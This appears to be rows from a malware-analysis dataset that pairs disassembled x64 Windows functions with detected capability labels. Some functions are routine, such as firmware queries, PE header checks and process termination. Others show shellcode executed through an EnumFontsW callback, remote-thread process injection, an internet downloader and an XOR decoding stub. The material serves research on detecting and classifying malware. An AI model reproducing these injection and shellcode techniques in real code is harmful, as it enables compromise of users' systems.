joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140044c80
Capabilities:
Get system firmware table

Disassembly:
mov qword ss:[rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov ecx, 0xe0
call fcn.140048718
mov rbx, rax
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], 0xf
mov byte [rax + 0x20], sil
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], rsi
mov qword [rax + 0x58], 0xf
mov byte [rax + 0x40], sil
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rsi
mov qword [rax + 0x78], 0xf
mov byte [rax + 0x60], sil
movups xmmword [rax + 0x80], xmm0
mov qword [rax + 0x90], rsi
mov qword [rax + 0x98], 0xf
mov byte [rax + 0x80], sil
movups xmmword [rax + 0xa0], xmm0
mov qword [rax + 0xb0], rsi
mov qword [rax + 0xb8], 0xf
mov byte [rax + 0xa0], sil
movups xmmword [rax + 0xc0], xmm0
mov qword [rax + 0xd0], rsi
mov qword [rax + 0xd8], 0xf
mov byte [rax + 0xc0], sil
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
nop
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140046380
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rdi, [0x14006e9e8]
mov qword [rsp + 0x28], rdi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov qword [0x14006e9e8], rbx
mov qword [0x14006e9f0], rbx
lea ecx, ds:[rbx + 0x60]
call fcn.140048718
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [0x14006e9e8], rax
mov dword [rsp + 0x20], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
lea r8d, [rbx + 2]
lea rdx, [0x14005c278]
lea rcx, [rsp + 0x40]
call fcn.140006d20
nop
mov ebx, 0x41
lea rax, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rax, qword [rsp + 0x40]
mov word [rax], bx
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rcx, qword [rsp + 0x40]
mov r8d, 0x104
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1400464a5
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
call fcn.1400467e0
mov rcx, qword [rax]
add rcx, 0x40
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x140046490
lea rdx, [rsp + 0x60]
call fcn.140008840
inc bx
cmp bx, 0x5a
jbe 0x140046432
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400464f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400464ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400464ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048710
mov rax, rdi
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.1400486f0
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
ret
Function at 0x140046560
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x14006b030]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, rdx
mov rbp, rcx
mov qword [rsp + 0x38], rcx
xor r14d, r14d
mov rax, qword gs:[0x58]
mov ecx, 4
mov rax, qword [rax]
mov ecx, dword [rcx + rax]
cmp dword [0x14006e9e0], ecx
jg 0x140046797
mov rbx, qword [0x14006e9e8]
mov rbx, qword ds:[rbx]
cmp byte [rbx + 0x19], 0
jne 0x140046669
nop word [rax + rax]
lea rsi, [rbx + 0x20]
lea r9, [rsi + 0x20]
mov rax, qword [r9 + 0x10]
cmp qword [r9 + 0x18], 8
jb 0x1400465e6
mov r9, qword [r9]
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x1400465f3
mov rcx, qword [rdi]
mov qword ss:[rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rdi + 0x10]
call fcn.140009040
test rax, rax
je 0x14004669a
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x14004663a
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140046635
cmp rbx, qword [rax + 0x10]
jne 0x140046635
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140046622
mov rbx, rax
jmp 0x14004665f
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x14004665f
nop word [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140046650
cmp byte [rbx + 0x19], 0
je 0x1400465d0
mov rdx, rdi
mov rcx, rbp
call fcn.140005be0
mov rax, rbp
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.1400486f0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
mov rcx, qword [rsi + 0x30]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
cmp qword [rdi + 0x10], rcx
jb 0x140046791
lfence
mov rax, qword [rdi + 0x10]
sub rax, rcx
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
cmp qword [rdi + 0x18], 8
jb 0x1400466db
mov rdi, qword [rdi]
lea rdx, [rdi + rcx*2]
lea rcx, [rsp + 0x40]
call fcn.140006d20
nop
mov r9, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 8
jb 0x1400466f8
mov rsi, qword [rsi]
mov r8, rsi
lea rcx, [rsp + 0x40]
call fcn.1400125a0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x140046674
lea rdx, ds:[rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046787
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140046787
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140048710
jmp 0x140046674
call fcn.1400089a0
int3
lea rcx, [0x14006e9e0]
nop
call fcn.140048928
cmp dword [0x14006e9e0], 0xffffffff
jne 0x1400465af
call fcn.140046380
lea rcx, [0x14004ea00]
nop
call fcn.140048c70
nop
lea rcx, [0x14006e9e0]
call fcn.1400488c8
jmp 0x1400465af
Function at 0x1400470a0
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov r14, rdx
mov rdi, rcx
mov edx, 2
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x1400470d5
lfence
jmp 0x14004729b
xor r12d, r12d
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov esi, 0xffffffff
mov edx, esi
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeSecurity]
mov ebx, eax
test eax, eax
jns 0x14004711f
lfence
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
jmp 0x14004729b
mov qword [rsp + 0x20], rdi
lea r9, [0x1400503d0]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x1400503e0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
lfence
test eax, eax
js 0x140047112
mov r15, qword [rdi]
mov rax, qword [r15]
mov rbp, qword [rax + 0x18]
mov ecx, 0x18
call fcn.140048718
mov rbx, rax
mov qword [rsp + 0x90], rax
test rax, rax
je 0x140047194
mov qword ds:[rax + 8], r12
mov dword [rax + 0x10], 1
lea rcx, str.ROOTCIMV2
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x1400472bf
jmp 0x140047197
mov rbx, r12
mov qword ds:[rsp + 0x90], rbx
test rbx, rbx
je 0x1400472b4
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbx]
mov rcx, r15
mov rax, rbp
call qword [0x14004fd60]
mov ebp, eax
lock xadd dword [rbx + 0x10], esi
cmp esi, 1
jne 0x140047216
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400471f6
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140047209
nop
call fcn.140048710
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140048710
lfence
test ebp, ebp
jns 0x140047237
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rax, qword [rax + 0x10]
call qword [0x14004fd60]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebp
jmp 0x14004729b
mov dword ss:[rsp + 0x38], r12d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0xa]
mov rcx, qword [r14]
call qword [sym.imp.ole32.dll_CoSetProxyBlanket]
mov ebx, eax
test eax, eax
jns 0x140047299
lfence
mov rcx, qword [r14]
mov rdx, qword [rcx]
mov rax, qword [rdx + 0x10]
call qword [0x14004fd60]
mov rcx, qword [rdi]
mov rdx, qword [rcx]
mov rax, qword [rdx + 0x10]
call qword [0x14004fd60]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
jmp 0x14004729b
xor eax, eax
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov ecx, 0x8007000e
call fcn.1400484a0
nop
mov ecx, 0x8007000e
call fcn.1400484a0
int3
Function at 0x140047768
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400477ec
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140050270]
cmp byte [rcx + rax], 0
je 0x1400477ec
dec r8
sub rdx, 1
jne 0x1400477d2
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14004961c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140049666
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140049666
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140049666
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140049666
cmp dword [rcx + 0x84], 0xe
jbe 0x140049666
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140049668
xor al, al
add rsp, 0x28
ret
Function at 0x140002bf0
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
call fcn.1400032b0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x50]
call fcn.1400032b0
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x50]
call fcn.140003330
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov rax, qword [rsp + 0x28]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
xor r9d, r9d
mov r8, qword [rsp + 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.GDI32.dll_EnumFontsW]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x140002c80
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x108
mov qword [rsp + 0xd8], 0xfffffffffffffffe
mov dword [rsp + 0xd0], 0
lea rcx, [rsp + 0x68]
call fcn.140003110
nop
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.huorong
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x118]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x30], 0x64000
mov edx, 0x64000
lea rcx, [rsp + 0x38]
call fcn.140003150
nop
mov dword [rsp + 0x88], 0
lea rcx, [rsp + 0x38]
call fcn.1400032b0
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0x38]
call fcn.140003330
lea r9, [rsp + 0x88]
mov rcx, qword [rsp + 0xe0]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002e16
cmp dword [rsp + 0x88], 0
jbe 0x140002e16
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x68]
call fcn.140003280
mov rax, qword [rax]
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x88]
mov qword [rsp + 0xe8], rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x38]
call fcn.140003250
mov rcx, qword [rsp + 0xe8]
mov r8, rcx
lea rdx, [rsp + 0x98]
mov rcx, rax
call fcn.140003340
mov qword [rsp + 0xf0], rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x38]
call fcn.140003250
mov rcx, qword [rsp + 0xf0]
mov r9, qword [rcx]
mov r8, qword [rax]
mov rdx, qword [rsp + 0xa8]
lea rcx, [rsp + 0x68]
call fcn.140003f50
jmp 0x140002d2b
cmp dword [rsp + 0x88], 0
jne 0x140002e7f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x140002e7f
cmp dword [rsp + 0x8c], 0x12
je 0x140002e7f
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.Failed_to_read_file_content.
lea rcx, [rsp + 0xb8]
call fcn.140002a70
lea rdx, [0x140027020]
lea rcx, [rsp + 0xb8]
call fcn.140006d98
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x110]
call fcn.1400031b0
mov eax, dword [rsp + 0xd0]
or eax, 1
mov dword [rsp + 0xd0], eax
lea rcx, [rsp + 0x38]
call fcn.140003220
nop
lea rcx, [rsp + 0x68]
call fcn.140003220
mov rax, qword [rsp + 0x110]
add rsp, 0x108
ret

Function at 0x140009960
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400097d0
Function at 0x14001a02c
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140029060]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140007ce0
xor ebx, ebx
cmp qword [0x14002a168], rbx
mov rdi, rax
jne 0x14001a13f
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001a216
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001a216
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14002a168], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14002a170], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x14002a178], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x14002a188], rax
test rax, rax
je 0x14001a136
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x14002a180], rax
jmp 0x14001a146
mov rax, qword [0x14002a180]
jmp 0x14001a14d
mov rax, qword [0x14002a180]
mov r11, qword [0x14002a188]
cmp rax, rdi
je 0x14001a1b4
cmp r11, rdi
je 0x14001a1b4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x14002a188]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x14001a1b4
test rax, rax
je 0x14001a1b4
call rsi
test rax, rax
je 0x14001a1ae
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001a1ae
test byte [rsp + 0x40], 1
jne 0x14001a1b4
bts ebp, 0x15
jmp 0x14001a1f4
mov rcx, qword [0x14002a170]
cmp rcx, rdi
je 0x14001a1f4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a1f4
call rax
mov rbx, rax
test rax, rax
je 0x14001a1f4
mov rcx, qword [0x14002a178]
cmp rcx, rdi
je 0x14001a1f4
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a1f4
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14002a168]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001a216
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14001a218
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000cbb0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14001a567
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140029060]
jne 0x14000cbca
rol rcx, 0x10
test cx, 0xffff
jne 0x14000cbc6
repz ret
ror rcx, 0x10
jmp 0x14001a4c0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14002a230]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x14002a328]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14001a545
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14002a230]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14001a567
mov rax, qword [rsp + 0x88]
mov qword [0x14002a328], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14002a2c8], rax
mov rax, qword [0x14002a328]
mov qword [0x14002a1a0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14002a2b0], rax
mov dword [0x14002a190], 0xc0000409
mov dword [0x14002a194], 1
mov rax, qword [0x140029060]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140029068]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14002a228], eax
mov ecx, 1
call fcn.140018070
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x1400238a8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14002a228], 0
jne 0x14001a5ee
mov ecx, 1
call fcn.140018070
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140013820
Capabilities:
Encode data using xor

Disassembly:
xor rcx, rcx
sub rcx, 0xffffffffffffff67
lea rax, [entry0]
movabs rbx, 0x4fc27fce7f398400
xor qword [rax + 0x27], rbx
sub rax, 0xfffffffffffffff8
loop 0x14001383b
mov bpl, pe_nt_image_headers64
invalid
Function at 0x1400b490b
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x1401caa80
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x40]
lea rcx, [0x1402ff5da]
call fcn.1400b6ca6
mov qword [rbp + 8], 0
mov eax, dword [rbp + 0x110]
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 8], rax
mov eax, dword [rbp + 0x110]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rbp + 0x108]
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov eax, dword [rbp + 0x110]
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rbp + 8]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x1400b58d3
Capabilities:
Terminate process

Disassembly:
jmp 0x14021aec0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400b5f4f
Capabilities:
Parse pe header

Disassembly:
jmp 0x14021d420
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14021d440
xor al, al
jmp 0x14021d4c1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14021d453
xor al, al
jmp 0x14021d4c1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14021d47d
xor al, al
jmp 0x14021d4c1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14021d491
xor al, al
jmp 0x14021d4c1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14021d4a3
xor al, al
jmp 0x14021d4c1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14021d4bf
xor al, al
jmp 0x14021d4c1
mov al, 1
add rsp, 0x38
ret
Function at 0x1400b6dc8
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x1401ca420
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x708
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x728]
mov rax, qword [0x1402da1e8]
xor rax, rbp
mov qword [rbp + 0x6d8], rax
lea rcx, [0x1402ff5da]
call fcn.1400b6ca6
mov qword [rbp + 8], 0
mov edx, dword [rbp + 0x700]
mov ecx, 0x18
call fcn.1400b54d7
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0xffffffffffffffff
je 0x1401ca4da
mov dword [rbp + 0x50], 0x438
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.1400b5bbc
test eax, eax
je 0x1401ca4da
mov rdx, qword [rbp + 0x708]
lea rcx, [rbp + 0x80]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x1401ca4c9
mov rax, qword [rbp + 0x68]
mov qword [rbp + 8], rax
jmp 0x1401ca4da
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 0x28]
call fcn.1400b46a9
test eax, eax
jne 0x1401ca4a7
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 8]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140269440]
call fcn.1400b6558
mov rax, rdi
mov rcx, qword [rbp + 0x6d8]
xor rcx, rbp
call fcn.1400b554a
lea rsp, [rbp + 0x6e8]
pop rdi
pop rbp
ret